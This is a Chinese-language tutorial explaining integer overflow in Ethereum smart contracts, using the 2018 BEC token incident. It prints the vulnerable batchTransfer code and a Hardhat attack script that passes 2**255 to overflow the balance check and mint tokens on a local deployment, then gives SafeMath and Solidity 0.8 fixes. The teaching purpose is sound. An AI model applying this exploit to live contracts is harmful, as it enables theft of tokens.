智能合约安全之整型溢出

概述

整型溢出是智能合约中常见的漏洞之一。以太坊虚拟机对整数使用固定大小的数据类型,一个整数变量仅能表示一个固定范围的数值,比如uint8类型只能保存[0, 255]。当把超过某个数据类型范围的数值保存到这个变量时,就会产生溢出。例如

  1. 将一个uint8类型,值为0的变量进行减1操作时,计算结果会等于255,称为减法溢出
  2. 将一个uint8类型,值为255的变量进行加1操作时,计算结果会等于0,称为加法溢出
  3. 将一个uint8类型,值为128的变量进行乘2操作时,计算结果会等于0,称为乘法溢出

这种数字上的谬误会允许攻击者使用恶意代码来创造一些非预期的逻辑流程。

重大事件

  • 2018年4月22日,黑客利用整型溢出漏洞,对美链(BEC)发起攻击,无中生有,凭空取出57,896,044,618,658,100,000,000,000,000,000,000,000,000,000,000,000,000,000,000.792003956564819968个BEC代币,导致BEC价格近乎归零
  • 2018年4月25日,SMT项目方发现其交易存在异常,黑客利用其整型溢出漏洞创造了65,133,050,195,990,400,000,000,000,000,000,000,000,000,000,000,000,000,000,000.891004451135422463个SMT代币

代码演示

使用hardhat创建合约工程,scripts/attack.ts为攻击流程演示代码,contracts/BecToken为漏洞合约代码。这里的合约直接使用了美链(BEC)的合约代码。

部分合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}

function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}

function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}

function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}

/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/

contract PausableToken is StandardToken, Pausable {

function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}

function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}

function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
// batchTransfer函数存在漏洞
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
// 这一行没有考虑整型溢出
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);

balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
}

攻击脚本代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import { ethers } from "hardhat";

async function main() {
// deploy
const [owner, attacker1, attacker2, attacker3] = await ethers.getSigners();
const BecToken = await ethers.getContractFactory("BecToken");
const becToken = await BecToken.connect(owner).deploy();
await becToken.deployed();
console.log(`BecToken deployed successfully. The address is ${becToken.address}`);
console.log('BecToken totalSupply:', await becToken.totalSupply());
// attack
console.log('[before]attacker1 token num:', await becToken.balanceOf(attacker1.address));
console.log('[before]attacker2 token num', await becToken.balanceOf(attacker2.address));
console.log('[before]attacker3 token num', await becToken.balanceOf(attacker3.address));
await becToken.connect(attacker1).batchTransfer([attacker2.address, attacker3.address], BigInt(2) ** BigInt(255));
console.log('[after]attacker2 token num', await becToken.balanceOf(attacker2.address));
console.log('[after]attacker3 token num', await becToken.balanceOf(attacker3.address));
}

main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
  1. BSC合约考虑到了加法以及减法导致的整型溢出问题。使用了SafeMath的sub,add函数进行加减操作。
  2. 然而忽略了batchTransferuint256 amount = uint256(cnt) * _value; 这一行代码。_value值为用户可控制的参数,却没有进行任何值的判断。攻击者可以轻松构造恶意参数请求,让uint256(cnt) * _value 溢出。
  3. 攻击者直接调用batchTransfer 合约函数,传入两个账户地址attacker2.address attacker3.address , 以及_value 2**255
  4. 当使用构造的恶意参数时,uint256 amount = uint256(cnt) * _value; 发生乘法溢出,amount的值为0,成功绕过了require(_value > 0 && balances[msg.sender] >= amount); 检查,向_receivers地址转入2 ** 255个token, 哪怕msg.sender(attacker1)账户下只有0个token,没有2 ** 255个token

    integer-overflow.png

如何修复和预防

  1. Solidity < 0.8.0,使用openzeppelin提供的SafeMath库函数进行数值的加减乘除操作
  2. Solidity >= 0.8.0, Solidity编译器自动集成SafeMath, 直接使用 + - * / 即可,发生溢出时会自动回退交易

结语

整型溢出是非常常见基础的智能合约漏洞,但在历史上也造成过巨额的资产损失。因此,合约开发人员还是要认真对待,使用SafeMath或使用Solidity0.8.0以上版本来预防整型溢出风险。

完整代码

https://github.com/demo-box/blockchain-demo/tree/main/integerOverflow

https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code